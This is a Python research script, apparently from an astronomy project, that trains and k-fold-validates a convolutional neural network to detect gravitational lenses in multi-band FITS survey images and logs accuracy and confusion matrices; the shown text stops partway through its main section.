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c2606aacc62d2534fb199f5228dc21c0ea604251

refs/heads/main

2023-06-02T21:25:29.543234

2021-06-19T18:20:07

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""" This is file performs the convolutional neural network algorithm, in which the k fold is performed as well. The results were saved in a csv file. """ import os import sys import random from datetime import datetime import numpy as np import tensorflow from astropy.io import fits from astropy.utils.data import get_pkg_data_filename from matplotlib import pyplot as plt from sklearn.metrics import confusion_matrix from sklearn.model_selection import train_test_split, StratifiedKFold from sklearn.utils import shuffle from tensorflow.python.keras import Sequential from tensorflow.python.keras.callbacks import ModelCheckpoint, EarlyStopping from tensorflow.python.keras.layers.convolutional import Conv2D, MaxPooling2D from tensorflow.python.keras.layers.core import Dense, Dropout, Flatten from tensorflow.python.keras.models import Model from tensorflow.python.keras.preprocessing.image import ImageDataGenerator from tensorflow.python.keras.utils.vis_utils import plot_model from tensorflow.python.keras.models import save_model # added Adam opt for learning rate from tensorflow.python.keras.optimizers import Adam # from tensorflow.keras.optimizers import Adam from tensorflow.python.keras import backend as K from ExcelUtils import createExcelSheet, writeToFile print(tensorflow.__version__) now = datetime.now() dt_string = now.strftime("%d_%m_%Y_%H_%M_%S") print(dt_string) excel_headers = [] excel_dictionary = [] excel_headers.append("Date and Time") excel_dictionary.append(dt_string) # Globals makeNewCSVFile = True max_num = sys.maxsize # Set to sys.maxsize when running entire data set max_num_testing = sys.maxsize # Set to sys.maxsize when running entire data set max_num_prediction = sys.maxsize # Set to sys.maxsize when running entire data set validation_split = 0.2 # A float value between 0 and 1 that determines what percentage of the training # data is used for validation. k_fold_num = 5 # A number between 2 and 10 that determines how many times the k-fold classifier # is trained. epochs = 50 # A number that dictates how many iterations should be run to train the classifier batch_size = 128 # The number of items batched together during training. run_k_fold_validation = True # Set this to True if you want to run K-Fold validation as well. input_shape = (100, 100, 3) # The shape of the images being learned & evaluated. augmented_multiple = 2 # This uses data augmentation to generate x-many times as much data as there is on file. use_augmented_data = True # Determines whether to use data augmentation or not. patience_num = 5 # Used in the early stopping to determine how quick/slow to react. use_early_stopping = True # Determines whether to use early stopping or not. use_model_checkpoint = True # Determines whether the classifiers keeps track of the most accurate iteration of itself. monitor_early_stopping = 'val_loss' monitor_model_checkpoint = 'val_acc' use_shuffle = True learning_rate = 0.001 training_positive_path = 'Training/PositiveAll' # training_positive_path = 'UnseenData/KnownLenses_training' training_negative_path = 'Training/Negative' testing_positive_path = 'Testing/PositiveAll' testing_negative_path = 'Testing/Negative' # unseen_known_file_path = 'UnseenData/Known131' unseen_known_file_path_select = 'UnseenData/SelectingSimilarLensesToPositiveSimulated' unseen_known_file_path_all = 'UnseenData/KnownLenses' # Adding global parameters to excel excel_headers.append("Max Training Num") excel_dictionary.append(max_num) excel_headers.append("Max Testing Num") excel_dictionary.append(max_num_testing) excel_headers.append("Max Prediction Num") excel_dictionary.append(max_num_prediction) excel_headers.append("Validation Split") excel_dictionary.append(validation_split) excel_headers.append("K fold Num") excel_dictionary.append(k_fold_num) excel_headers.append("Epochs") excel_dictionary.append(epochs) excel_headers.append("Batch Size") excel_dictionary.append(batch_size) excel_headers.append("Run K fold") excel_dictionary.append(run_k_fold_validation) excel_headers.append("Input Shape") excel_dictionary.append(input_shape) excel_headers.append("Augmented Multiple") excel_dictionary.append(augmented_multiple) excel_headers.append("Use Augmented Data") excel_dictionary.append(use_augmented_data) excel_headers.append("Patience") excel_dictionary.append(patience_num) excel_headers.append("Use Early Stopping") excel_dictionary.append(use_early_stopping) excel_headers.append("Use Model Checkpoint") excel_dictionary.append(use_model_checkpoint) excel_headers.append("Monitor Early Stopping") excel_dictionary.append(monitor_early_stopping) excel_headers.append("Monitor Model Checkpoint") excel_dictionary.append(monitor_model_checkpoint) excel_headers.append("Use Shuffle") excel_dictionary.append(use_shuffle) excel_headers.append("Learning Rate") excel_dictionary.append(learning_rate) if not os.path.exists('../Results/%s/' % dt_string): os.mkdir('../Results/%s/' % dt_string) # Helper methods def getPositiveImages(images_dir, max_num, input_shape): """ This gets the positively simulated images in the g, r and i bands. Args: images_dir(string): This is the file path address of the positively simulated images. max_num(integer): This is the number of sources of the positively simulated images to be used. input_shape(tuple): This is the shape of the images. Returns: positive_images(numpy array): This is the numpy array of the positively simulated images with the shape of (num of images, input_shape[0], input_shape[1], input_shape[2]) = (num_of_images, 100, 100, 3). """ global g_img_path, r_img_path, i_img_path for root, dirs, _ in os.walk(images_dir): num_of_images = min(max_num, len(dirs)) positive_images = np.zeros([num_of_images, 3, 100, 100]) index = 0 print('image_dir: ' + str(images_dir)) for folder in dirs: if images_dir == 'Training/PositiveAll': g_img_path = get_pkg_data_filename('%s/%s_g_norm.fits' % (os.path.join(root, folder), folder)) r_img_path = get_pkg_data_filename('%s/%s_r_norm.fits' % (os.path.join(root, folder), folder)) i_img_path = get_pkg_data_filename('%s/%s_i_norm.fits' % (os.path.join(root, folder), folder)) elif images_dir == 'UnseenData/KnownLenses_training': g_img_path = get_pkg_data_filename('%s/g_norm.fits' % (os.path.join(root, folder))) r_img_path = get_pkg_data_filename('%s/r_norm.fits' % (os.path.join(root, folder))) i_img_path = get_pkg_data_filename('%s/i_norm.fits' % (os.path.join(root, folder))) # print('g_img_path: ' + str(g_img_path)) # print('r_img_path: ' + str(r_img_path)) # print('i_img_path: ' + str(i_img_path)) g_data = fits.open(g_img_path)[0].data[0:100, 0:100] r_data = fits.open(r_img_path)[0].data[0:100, 0:100] i_data = fits.open(i_img_path)[0].data[0:100, 0:100] img_data = [g_data, r_data, i_data] positive_images[index] = img_data index += 1 if index >= num_of_images: break return positive_images.reshape(num_of_images, input_shape[0], input_shape[1], input_shape[2]) def getNegativeImages(images_dir, max_num, input_shape): """ This gets the negative images in the g, r and i bands. Args: images_dir(string): This is the file path address of the negative images. max_num(integer): This is the number of sources of the negative images to be used. input_shape(tuple): This is the shape of the images. Returns: negative_images(numpy array): This is the numpy array of the negative images with the shape of (num of images, input_shape[0], input_shape[1], input_shape[2]) = (num_of_images, 100, 100, 3). """ for root, dirs, _ in os.walk(images_dir): num_of_images = min(max_num, len(dirs)) negative_images = np.zeros([num_of_images, 3, 100, 100]) index = 0 for folder in dirs: g_img_path = get_pkg_data_filename('%s/g_norm.fits' % (os.path.join(root, folder))) r_img_path = get_pkg_data_filename('%s/r_norm.fits' % (os.path.join(root, folder))) i_img_path = get_pkg_data_filename('%s/i_norm.fits' % (os.path.join(root, folder))) g_data = fits.open(g_img_path)[0].data[0:100, 0:100] r_data = fits.open(r_img_path)[0].data[0:100, 0:100] i_data = fits.open(i_img_path)[0].data[0:100, 0:100] img_data = [g_data, r_data, i_data] negative_images[index] = img_data index += 1 if index >= num_of_images: break return negative_images.reshape(num_of_images, input_shape[0], input_shape[1], input_shape[2]) def getUnseenData(images_dir, max_num, input_shape): """ This gets the unseen images in the g, r and i bands containing the identified known lenses. Args: images_dir(string): This is the file path address of the unseen images. max_num(integer): This is the number of sources of the unseen images to be used. input_shape(tuple): This is the shape of the images. Returns: des_tiles(dictionary): This is the dictionary of the unseen images with the shape of (num of images, input_shape[0], input_shape[1], input_shape[2]) = (num_of_images, 100, 100, 3). """ des_tiles = {} for root, dirs, _ in os.walk(images_dir): num_of_images = min(max_num, len(dirs)) index = 0 for folder in dirs: g_img_path = get_pkg_data_filename('%s/g_norm.fits' % (os.path.join(root, folder))) r_img_path = get_pkg_data_filename('%s/r_norm.fits' % (os.path.join(root, folder))) i_img_path = get_pkg_data_filename('%s/i_norm.fits' % (os.path.join(root, folder))) # print(g_img_path) g_data = fits.open(g_img_path)[0].data[0:100, 0:100] # print(np.shape(g_data)) r_data = fits.open(r_img_path)[0].data[0:100, 0:100] i_data = fits.open(i_img_path)[0].data[0:100, 0:100] img_data = np.array([g_data, r_data, i_data]).reshape(input_shape[0], input_shape[1], input_shape[2]) des_tiles.update({folder: img_data}) index += 1 if index >= num_of_images: break return des_tiles def makeImageSet(positive_images, negative_images=None, tile_names=None, shuffle_needed=use_shuffle): """ This is used to create data set of images and labels, in which the positive and negative images are all combined and shuffled. Args: positive_images(numpy array): This is the numpy array of the positively simulated images. negative_images(numpy array): This is the numpy array of the negative images, this is set to a default of None. tile_names(list): This is the dictionary of the unseen known lenses, this is set to a default of None. shuffle_needed(boolean): This is a boolean value to determine whether or not shuffling of the given data sets is required. Returns: image_set(numpy array): This is the image data set of numpy array of the combination positive and negative images. label_set(numpy array): This is the label data set of numpy array of the combination positive and negative label. des_names_set(numpy array): This is the des name data set of the known lenses and negative images used. """ image_set = [] label_set = [] tile_name_set = [] if positive_images is not None: for index in range(0, len(positive_images)): image_set.append(positive_images[index]) label_set.append(1) if tile_names is not None: tile_name_set.append(tile_names[index]) if negative_images is not None: for index in range(0, len(negative_images)): image_set.append(negative_images[index]) label_set.append(0) if tile_names is not None: tile_name_set.append(tile_names[index]) # print("Label Set: " + str(label_set)) if shuffle_needed: if tile_names is not None: image_set, label_set, tile_name_set = shuffle(image_set, label_set, tile_name_set) else: image_set, label_set = shuffle(image_set, label_set) # print("Shuffled Label Set: " + str(label_set)) return np.array(image_set), np.array(label_set), np.array(tile_name_set) def buildClassifier(input_shape=(100, 100, 3)): """ This creates the CNN algorithm. Args: input_shape(tuple): This is the image shape of (100,100,3) Returns: classifier(sequential): This is the sequential model. """ # Initialising the CNN opt = Adam(lr=learning_rate) # lr = learning rate # classifier = Sequential() # classifier.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=input_shape, padding='same')) # classifier.add(MaxPooling2D(pool_size=(4, 4), padding='same')) # classifier.add(Conv2D(32, (3, 3), activation='relu', padding='same')) # classifier.add(MaxPooling2D(pool_size=(2, 2), padding='same')) # classifier.add(Conv2D(64, (3, 3), padding='same', activation='relu')) # classifier.add(Conv2D(64, (3, 3), activation='relu', padding='same')) # classifier.add(MaxPooling2D(pool_size=(2, 2), padding='same')) # classifier.add(Dropout(0.2)) # antes era 0.25 # classifier.add(Conv2D(64, (3, 3), padding='same', activation='relu')) # classifier.add(Conv2D(64, (3, 3), activation='relu', padding='same')) # classifier.add(MaxPooling2D(pool_size=(2, 2), padding='same')) # classifier.add(Dropout(0.2))# antes era 0.25 # classifier.add(Flatten()) # # classifier.add(Dense(units=512, activation='relu')) # classifier.add(Dropout(0.2)) # classifier.add(Dense(units=1, activation='sigmoid')) # classifier.summary() # # # Compiling the CNN # classifier.compile(optimizer=opt,loss = 'binary_crossentropy',metrics = ['accuracy']) # classifier.add(Conv2D(96, kernel_size=(2, 2), activation='relu', input_shape=input_shape)) # padding='same' # classifier.add(MaxPooling2D(pool_size=(2, 2))) # padding='same' # classifier.add(Dropout(0.2)) # classifier.add(Conv2D(128, (2, 2), activation='relu')) # padding='same' # classifier.add(MaxPooling2D(pool_size=(2, 2))) # padding='same' # classifier.add(Dropout(0.2)) # classifier.add(Conv2D(256, (2, 2), activation='relu')) # padding='same' # classifier.add(MaxPooling2D(pool_size=(2, 2))) # classifier.add(Dropout(0.2)) # classifier.add(Conv2D(256, (2, 2), activation='relu')) # padding='same' # classifier.add(Dropout(0.2)) # classifier.add(MaxPooling2D(pool_size=(2, 2), padding='same')) # padding='same' # classifier.add(Dropout(0.2)) # classifier.add(Flatten()) # classifier.add(Dense(units=2048, activation='relu')) # added new dense layer # classifier.add(Dense(units=1024, activation='relu')) # added new dense layer # classifier.add(Dropout(0.2)) # classifier.add(Dense(units=1024, activation='relu')) # added new dense layer # classifier.add(Dropout(0.2)) # classifier.add(Dense(units=1, activation='sigmoid')) # classifier.summary() # # # Compiling the CNN # classifier.compile(optimizer=opt, # loss='binary_crossentropy', # metrics=['accuracy']) classifier = Sequential() classifier.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=input_shape, padding='same')) classifier.add(MaxPooling2D(pool_size=(2, 2), padding='same')) classifier.add(Dropout(0.5)) # added extra Dropout layer classifier.add(Conv2D(64, (3, 3), activation='relu', padding='same')) classifier.add(MaxPooling2D(pool_size=(2, 2), padding='same')) classifier.add(Conv2D(128, (3, 3), padding='same', activation='relu')) classifier.add(Dropout(0.5)) # added extra dropout layer classifier.add(Conv2D(256, (3, 3), activation='relu', padding='same')) classifier.add(MaxPooling2D(pool_size=(2, 2), padding='same')) classifier.add(Dropout(0.2)) # antes era 0.25 # Adding a third convolutional layer classifier.add(Conv2D(512, (3, 3), padding='same', activation='relu')) classifier.add(MaxPooling2D(2,2)) classifier.add(Conv2D(1024, (3, 3), activation='relu', padding='same')) classifier.add(MaxPooling2D(pool_size=(2, 2), padding='same')) classifier.add(Dropout(0.2)) # antes era 0.25 # Step 3 - Flattening classifier.add(Flatten()) # Step 4 - Full connection classifier.add(Dropout(0.2)) classifier.add(Dense(units=1, activation='sigmoid')) classifier.summary() # Compiling the CNN classifier.compile(optimizer=opt, loss='binary_crossentropy', metrics=['accuracy']) plot_model(classifier, to_file='model_plot.png', show_shapes=True, show_layer_names=True) return classifier def visualiseActivations(img_tensor, base_dir): """ This makes images of the activations, as the selected image passed through the model Args: img_tensor(numpy array): This is the numpy array of the selected image base_dir(string): This is the file path name Saves: This saves the activation images of the selected source. """ global predicted_class, size # Run prediction on that image predicted_class = classifier.predict_classes(img_tensor, batch_size=10) print("Predicted class is: ", predicted_class) # Visualize activations layer_outputs = [layer.output for layer in classifier.layers[:12]] activation_model = Model(inputs=classifier.input, outputs=layer_outputs) activations = activation_model.predict(img_tensor) layer_names = [] for layer in classifier.layers[:12]: layer_names.append(layer.name) images_per_row = 3 count = 0 for layer_name, layer_activation in zip(layer_names, activations): number_of_features = layer_activation.shape[-1] size = layer_activation.shape[1] number_of_columns = number_of_features // images_per_row display_grid = np.zeros((size * number_of_columns, images_per_row * size)) for col in range(number_of_columns): for row in range(images_per_row): channel_image = layer_activation[0, :, :, col * images_per_row + row] channel_image -= channel_image.mean() channel_image /= channel_image.std() channel_image *= 64 channel_image += 128 channel_image = np.clip(channel_image, 0, 255).astype('uint8') display_grid[col * size: (col + 1) * size, row * size: (row + 1) * size] = channel_image scale = 1. / size activations_figure = plt.figure(figsize=(scale * display_grid.shape[1], scale * display_grid.shape[0])) plt.title(layer_name) plt.grid(False) plt.imshow(display_grid, aspect='auto', cmap='viridis') activations_figure.savefig('%s/%s_Activation_%s.png' % (base_dir, count, layer_name)) plt.close() count += 1 def usingCnnModel(training_data, training_labels, val_data, val_labels): """ This is using the CNN model and setting it up. Args: training_data(numpy arrays): This is the numpy array of the training data. training_labels(numpy arrays): This is the numpy array of the training labels. val_data(numpy arrays): This is the numpy array of the validation data. val_labels(numpy arrays): This is the numpy array of the validation labels. Returns: history(history): This is the history of the classifier. classifier(sequential): This is the cnn model classifier fitted to the training data and labels. """ model_checkpoint = ModelCheckpoint(filepath="best_weights.hdf5", monitor=monitor_model_checkpoint, save_best_only=True) early_stopping = EarlyStopping(monitor=monitor_early_stopping, patience=patience_num) # original patience =3 classifier = buildClassifier() callbacks_array = [] if use_early_stopping: callbacks_array.append(early_stopping) if use_model_checkpoint: callbacks_array.append(model_checkpoint) print(len(training_data)) history = classifier.fit(training_data, training_labels, epochs=epochs, validation_data=(val_data, val_labels), callbacks=callbacks_array, batch_size=batch_size # steps_per_epoch=int(len(training_data) / batch_size), ) return history, classifier def createAugmentedData(training_data, training_labels): """ This is creates the augmented data. Args: training_data(numpy arrays): This is the numpy array of the training data. training_labels(numpy arrays): This is the numpy array of the training labels. Returns: complete_training_data_set(numpy array): This is the numpy array of the total training data, which is has undergone augmentation. complete_training_labels_set(numpy array): This is the numpy array of the total training labels, which is has undergone augmentation. """ complete_training_data_set = [] complete_training_labels_set = [] for data in training_data: complete_training_data_set.append(data) print("Complete Training Data: " + str(len(complete_training_data_set))) for label in training_labels: complete_training_labels_set.append(label) print("Complete Training Label: " + str(len(complete_training_labels_set))) # create augmented data data_augmented = ImageDataGenerator(featurewise_center=True, featurewise_std_normalization=True, rotation_range=90, width_shift_range=0.2, height_shift_range=0.2, horizontal_flip=True, vertical_flip=True) # data_augmented = ImageDataGenerator(featurewise_center=False, # featurewise_std_normalization=False, # rotation_range=90, # horizontal_flip=True, # vertical_flip=True) data_augmented.fit(training_data) training_data_size = training_data.shape[0] aug_counter = 0 while aug_counter < (augmented_multiple - 1): iterator = data_augmented.flow(training_data, training_labels, batch_size=training_data_size) # iterator = data_augmented.flow(training_data, training_labels, batch_size=batch_size) augmented_data = iterator.next() for data in augmented_data[0]: complete_training_data_set.append(data) for label in augmented_data[1]: complete_training_labels_set.append(label) aug_counter += 1 print("Size of All Training Data: " + str(len(complete_training_data_set))) print("Size of All Training Labels: " + str(len(complete_training_labels_set))) array_training_data = np.array(complete_training_data_set) array_training_labels = np.array(complete_training_labels_set) print("Shape of complete training data: " + str(array_training_data.shape)) print("Shape of complete training labels: " + str(array_training_labels.shape)) return np.array(complete_training_data_set), np.array(complete_training_labels_set) def savePredictedLenses(des_names_array, predicted_class_probabilities, predicted_lenses_filepath, text_file_path): """ This saves the names of the predicted lenses in the respective textfiles. Args: des_names_array(numpy array): This is a list of the des names of the sources. predicted_class_probabilities(list): This is a list of the probabilities in which lenses are predicted by the algorithm. predicted_lenses_filepath(string): This is the string of the predicted lenses filepath, where this needs to be saved in the directory. text_file_path(string): This is the text file path address to which these images are saved. Saves: text_file(.txt file): This is the text file saved containing the predicted lenses DES names. """ predicted_lenses = [] predicted_no_lenses = [] if not os.path.exists(predicted_lenses_filepath): os.mkdir('%s/' % predicted_lenses_filepath) text_file = open('%s' % text_file_path, "a+") text_file.write('\n') text_file.write('Predicted Lenses: \n') for lens_index in range(len(predicted_class_probabilities)): if predicted_class_probabilities[lens_index] == 1: text_file.write("%s \n " % des_names_array[lens_index]) predicted_lenses.append(des_names_array[lens_index]) text_file.write('\n') text_file.write('No Lenses Predicted: \n') for lens_index in range(len(predicted_class_probabilities)): if predicted_class_probabilities[lens_index] == 0: text_file.write("%s \n " % des_names_array[lens_index]) predicted_no_lenses.append(des_names_array[lens_index]) text_file.close() return predicted_lenses, predicted_no_lenses def gettingTrueFalsePositiveNegatives(testing_data, testing_labels, text_file_path, predicted_lenses_filepath, kf_counter=0): """ This is used to get the True/False Positive and Negative values gained from the CNN confusion matrix. Args: testing_data(numpy array): This is the unseen testing data numpy array. testing_labels(numpy array): This is the unseen testing label numpy array. text_file_path(string): This is the file path name of the text file in which the confusion matrix is saved. predicted_lenses_filepath(string): This is the file path in which the text file is saved. Saves: This saves a confusion matrix of the True/False Positive and Negative values. """ if not os.path.exists(predicted_lenses_filepath): os.mkdir('%s/' % predicted_lenses_filepath) predicted_data = classifier.predict_classes(testing_data) rounded_predicted_data = predicted_data.round() conf_matrix = confusion_matrix(testing_labels, rounded_predicted_data, labels=[0, 1]) print(str(conf_matrix) + ' \n ') true_negative, false_positive, false_negative, true_positive = conf_matrix.ravel() print("True Positive: %s \n" % true_positive) print("False Negative: %s \n" % false_negative) print("False Positive: %s \n" % false_positive) print("True Negative: %s \n" % true_negative) text_file = open('%s' % text_file_path, "a+") text_file.write('\n') text_file.write('KFold Number: %s \n' % str(kf_counter)) text_file.write('Predicted vs True Matrix: \n') text_file.write(str(conf_matrix) + " \n ") text_file.write("True Negative: %s \n" % str(true_negative)) text_file.write("False Positive: %s \n" % str(false_positive)) text_file.write("False Negative: %s \n" % str(false_negative)) text_file.write("True Positive: %s \n" % str(true_positive)) text_file.write("\n") text_file.close() confusion_matrix_array = [true_negative, false_positive, false_negative, true_positive] return confusion_matrix_array def gettingKFoldConfusionMatrix(test_data, test_labels, unseen_images, unseen_labels, select_known_images, select_known_labels, kf_counter): test_confusion_matrix = gettingTrueFalsePositiveNegatives(test_data, test_labels, text_file_path='../Results/%s/TrainingTestingResults' '/KFold_PredictedMatrix.txt' % dt_string, predicted_lenses_filepath='../Results/%s' '/TrainingTestingResults ' % dt_string, kf_counter=kf_counter) unseen_confusion_matrix = gettingTrueFalsePositiveNegatives(unseen_images, unseen_labels, text_file_path='../Results/%s/UnseenKnownLenses/' 'KFold_LensesPredicted.txt' % dt_string, predicted_lenses_filepath='../Results/%s' '/UnseenKnownLenses/ ' % dt_string, kf_counter=kf_counter) select_confusion_matrix = gettingTrueFalsePositiveNegatives(select_known_images, select_known_labels, text_file_path='../Results/%s/UnseenKnownLensesSelect/' 'KFold_LensesPredicted.txt' % dt_string, predicted_lenses_filepath='../Results/%s' '/UnseenKnownLensesSelect/ ' % dt_string, kf_counter=kf_counter) return test_confusion_matrix, unseen_confusion_matrix, select_confusion_matrix def gettingRandomUnseenImage(filepath): g_img_path = get_pkg_data_filename('%s/g_norm.fits' % filepath) r_img_path = get_pkg_data_filename('%s/r_norm.fits' % filepath) i_img_path = get_pkg_data_filename('%s/i_norm.fits' % filepath) g_data = fits.open(g_img_path)[0].data[0:100, 0:100] r_data = fits.open(r_img_path)[0].data[0:100, 0:100] i_data = fits.open(i_img_path)[0].data[0:100, 0:100] img_data = np.array([g_data, r_data, i_data]).reshape(input_shape[0], input_shape[1], input_shape[2]) return img_data def executeKFoldValidation(train_data, train_labels, val_data, val_labels, testing_data, testing_labels, known_images, known_labels, known_des_names, select_known_images, select_known_labels): """ This does the k fold cross validation which is tested against the unseen testing and known lenses. Args: train_data(numpy arrays): This is the numpy array of the training data. train_labels(numpy arrays): This is the numpy array of the training labels. val_data(numpy arrays): This is the numpy array of the validation data. val_labels(numpy arrays): This is the numpy array of the validation labels. testing_data(numpy array): This is the numpy array of the unseen testing data. testing_labels(numpy array): This is the numpy array of the unseen testing label. images_47(numpy array): This is the numpy array of the unseen DES images data. labels_47(numpy array): This is the numpy array of the unseen DES images labels. images_84(numpy array): This is the numpy array of the unseen Jacobs images data. labels_84(numpy array): This is the numpy array of the unseen Jacobs images labels. all_unseen_images(numpy array): This is the numpy array of the unseen DES + Jacobs images data. all_unseen_labels(numpy array): This is the numpy array of the unseen DES + Jacobs images labels. Saves: This saves the scores, mean and std. of the unseen data that is evaluated in the k fold cross validation. """ if run_k_fold_validation: print("In executingKFoldValidation") # this is doing it manually: kfold = StratifiedKFold(n_splits=k_fold_num, shuffle=True) test_scores_list = [] test_loss_list = [] unseen_scores_list = [] unseen_loss_list = [] select_unseen_scores_list = [] select_unseen_loss_list = [] test_matrix_list = [] unseen_matrix_list = [] select_matrix_list = [] kf_counter = 0 true_positives = {} false_negatives = {} for train, test in kfold.split(train_data, train_labels): kf_counter += 1 print('KFold #:', kf_counter) model = buildClassifier() # fit the model model.fit(train_data[train], train_labels[train], epochs=epochs, validation_data=(val_data, val_labels), batch_size=batch_size) test_scores = model.evaluate(testing_data, testing_labels, batch_size=batch_size) test_scores_list.append(test_scores[1]) test_loss_list.append(test_scores[0]) print("Test Score: " + str(test_scores_list)) print("Test Loss: " + str(test_loss_list)) unseen_scores = model.evaluate(known_images, known_labels, batch_size=batch_size) unseen_scores_list.append(unseen_scores[1]) unseen_loss_list.append(unseen_scores[0]) print("Unseen Score: " + str(unseen_scores_list)) print("Unseen Loss: " + str(unseen_loss_list)) select_scores = model.evaluate(select_known_images, select_known_labels, batch_size=batch_size) select_unseen_scores_list.append(select_scores[1]) select_unseen_loss_list.append(select_scores[0]) # show confusion matrix test_confusion_matrix, unseen_confusion_matrix, select_confusion_matrix = gettingKFoldConfusionMatrix( testing_data, testing_labels, known_images, known_labels, select_known_images, select_known_labels, kf_counter) probabilities_known_lenses = classifier.predict_classes(known_images, batch_size=batch_size) predicted_lens = np.count_nonzero(probabilities_known_lenses == 1) predicted_no_lens = np.count_nonzero(probabilities_known_lenses == 0) print("%s/%s known lenses predicted" % (predicted_lens, len(known_images))) print("%s/%s non known lenses predicted" % (predicted_no_lens, len(known_images))) predicted_lenses, predicted_no_lenses = savePredictedLenses(known_des_names, predicted_class_probabilities_known_lenses, text_file_path='../Results/%s' '/UnseenKnownLenses/' 'KFold_LensesPredicted.txt' % dt_string, predicted_lenses_filepath='../Results/%s/' 'UnseenKnownLenses' % dt_string) randomTP = None imageTP = None if predicted_lenses: randomTP = random.choice(predicted_lenses) filepathTP = unseen_known_file_path_all + '/%s' % randomTP imageTP = gettingRandomUnseenImage(filepathTP) true_positives[kf_counter] = (randomTP, imageTP) randomFN = None imageFN = None if predicted_no_lenses: randomFN = random.choice(predicted_no_lenses) filepathFN = unseen_known_file_path_all + '/%s' % randomFN imageFN = gettingRandomUnseenImage(filepathFN) false_negatives[kf_counter] = (randomFN, imageFN) # print("Lenses Predicted: " + str(randomTP)) # print("Lenses Not Predicted: " + str(randomFN)) test_matrix_list.append(test_confusion_matrix) unseen_matrix_list.append(unseen_confusion_matrix) select_matrix_list.append(select_confusion_matrix) test_scores_mean = np.mean(test_scores_list) test_loss_mean = np.mean(test_loss_list) test_scores_std = np.std(test_scores_list) unseen_scores_mean = np.mean(unseen_scores_list) unseen_loss_mean = np.mean(unseen_loss_list) unseen_scores_std = np.std(unseen_scores_list) select_scores_mean = np.mean(select_unseen_scores_list) select_loss_mean = np.mean(select_unseen_loss_list) select_scores_std = np.std(select_unseen_scores_list) print("Test Confusion Matrices: " + str(test_matrix_list)) print("Test Scores: " + str(test_scores_list)) print("Test Scores Mean: " + str(test_scores_mean)) print("Test Scores Std: " + str(test_scores_std)) print("Test Loss: " + str(test_loss_list)) print("Test Loss Mean: " + str(test_loss_mean)) print("Unseen Confusion Matrices: " + str(unseen_matrix_list)) print("Unseen Scores: " + str(unseen_scores_list)) print("Unseen Scores Mean: " + str(unseen_scores_mean)) print("Unseen Scores Std: " + str(unseen_scores_std)) print("Unseen Loss: " + str(unseen_loss_list)) print("Unseen Loss Mean: " + str(unseen_loss_mean)) print("Select Confusion Matrices: " + str(select_matrix_list)) print("Select Score: " + str(select_unseen_scores_list)) print("Select Scores Mean: " + str(select_scores_mean)) print("Select Unseen Scores Std: " + str(select_scores_std)) print("Select Loss: " + str(select_unseen_loss_list)) print("Unseen Loss Mean: " + str(select_loss_mean)) excel_headers.append("Test Loss Mean") excel_dictionary.append(test_loss_mean) excel_headers.append("Test Scores Mean") excel_dictionary.append(test_scores_mean) excel_headers.append("Test Scores Std") excel_dictionary.append(test_scores_std) excel_headers.append("Unseen Loss Mean") excel_dictionary.append(unseen_loss_mean) excel_headers.append("Unseen Known Lenses Mean") excel_dictionary.append(unseen_scores_mean) excel_headers.append("Unseen Known Lenses Std") excel_dictionary.append(unseen_scores_std) excel_headers.append("Select Loss Mean") excel_dictionary.append(select_loss_mean) excel_headers.append("Select Scores Mean") excel_dictionary.append(select_scores_mean) excel_headers.append("Select Std") excel_dictionary.append(select_scores_std) plt.plot(test_scores_list, color='red', label='Testing Scores') plt.plot(unseen_scores_list, color='blue', label='Unseen Known Lenses Scores') plt.plot(select_unseen_scores_list, color='green', label="Selected Unseen Known Lenses Scores") plt.xlabel('Folds') plt.ylabel('Accuracy') plt.legend() plt.show() plt.savefig('../Results/%s/KFoldAccuracyScores.png' % dt_string) plotKFold(true_positives, false_negatives) def viewActivationLayers(): # make positive and negative directory if not os.path.exists('../Results/%s/PositiveResults/' % dt_string): os.mkdir('../Results/%s/PositiveResults/' % dt_string) if not os.path.exists('../Results/%s/NegativeResults/' % dt_string): os.mkdir('../Results/%s/NegativeResults/' % dt_string) # Plot original positive image img_positive_tensor = getPositiveImages('Training/PositiveAll', 1, input_shape=input_shape) positive_train_figure = plt.figure() plt.imshow(img_positive_tensor[0]) # plt.show() print(img_positive_tensor.shape) positive_train_figure.savefig('../Results/%s/PositiveResults/PositiveTrainingFigure.png' % dt_string) plt.close() # Visualise Activations of positive image visualiseActivations(img_positive_tensor, base_dir='../Results/%s/PositiveResults/' % dt_string) # Plot original negative image img_negative_tensor = getNegativeImages('Training/Negative', 1, input_shape=input_shape) negative_train_figure = plt.figure() plt.imshow(img_negative_tensor[0]) # plt.show() print(img_negative_tensor.shape) negative_train_figure.savefig('../Results/%s/NegativeResults/NegativeTrainingFigure.png' % dt_string) plt.close() # Visualise Activations of negative image visualiseActivations(img_negative_tensor, base_dir='../Results/%s/NegativeResults/' % dt_string) def plotKFold(true_positives, false_negatives): # print('True Positives: ' + str(true_positives)) # print('False Negatives: ' + str(false_negatives)) fig, axs = plt.subplots(k_fold_num, 2) fig.tight_layout(pad=3.0) cols = ['True Positive', 'False Negative'] for ax, col in zip(axs[0], cols): ax.set_title(col) # for ax, col in zip(axs[0], cols): # for i in range(len(cols)): # # axs[0, i].text(x=0.5, y=12, s="", ha="center", fontsize=12) # # axs[k_fold_num - 1, i].set_xlabel(cols[i]) # axs[0, i].set_title(cols[i]) # # ax.set_title(col) for i in range(0, k_fold_num): axs[i, 0].text(x=-0.8, y=5, s="", rotation=90, va="center") axs[i, 0].set_ylabel("k = %s" % (i + 1)) true_positive_tuple = true_positives[k_fold_num] if not true_positive_tuple[0] is None: axs[i, 0].set_xlabel(true_positive_tuple[0], fontsize=8) # axs[i, 0].set_title(true_positive_tuple[0], fontsize=6) axs[i, 0].imshow(true_positive_tuple[1]) axs[i, 0].set_xticks([], []) axs[i, 0].set_yticks([], []) false_negative_tuple = false_negatives[k_fold_num] if not false_negative_tuple[0] is None: axs[i, 1].set_xlabel(false_negative_tuple[0], fontsize=8) # axs[i, 1].set_title(false_negative_tuple[0], fontsize=6) axs[i, 1].imshow(false_negative_tuple[1]) axs[i, 1].set_xticks([], []) axs[i, 1].set_yticks([], []) fig.tight_layout() plt.show() fig.savefig('../Results/%s/UnseenKnownLenses/KFoldImages.png' % dt_string) # __________________________________________________________________________ # MAIN # Get positive training data train_pos = getPositiveImages(images_dir=training_positive_path, max_num=max_num, input_shape=input_shape) print("Train Positive Shape: " + str(train_pos.shape)) excel_headers.append("Train_Positive_Shape") excel_dictionary.append(train_pos.shape) # Get negative training data train_neg = getNegativeImages(images_dir=training_negative_path, max_num=max_num, input_shape=input_shape) print("Train Negative Shape: " + str(train_neg.shape)) 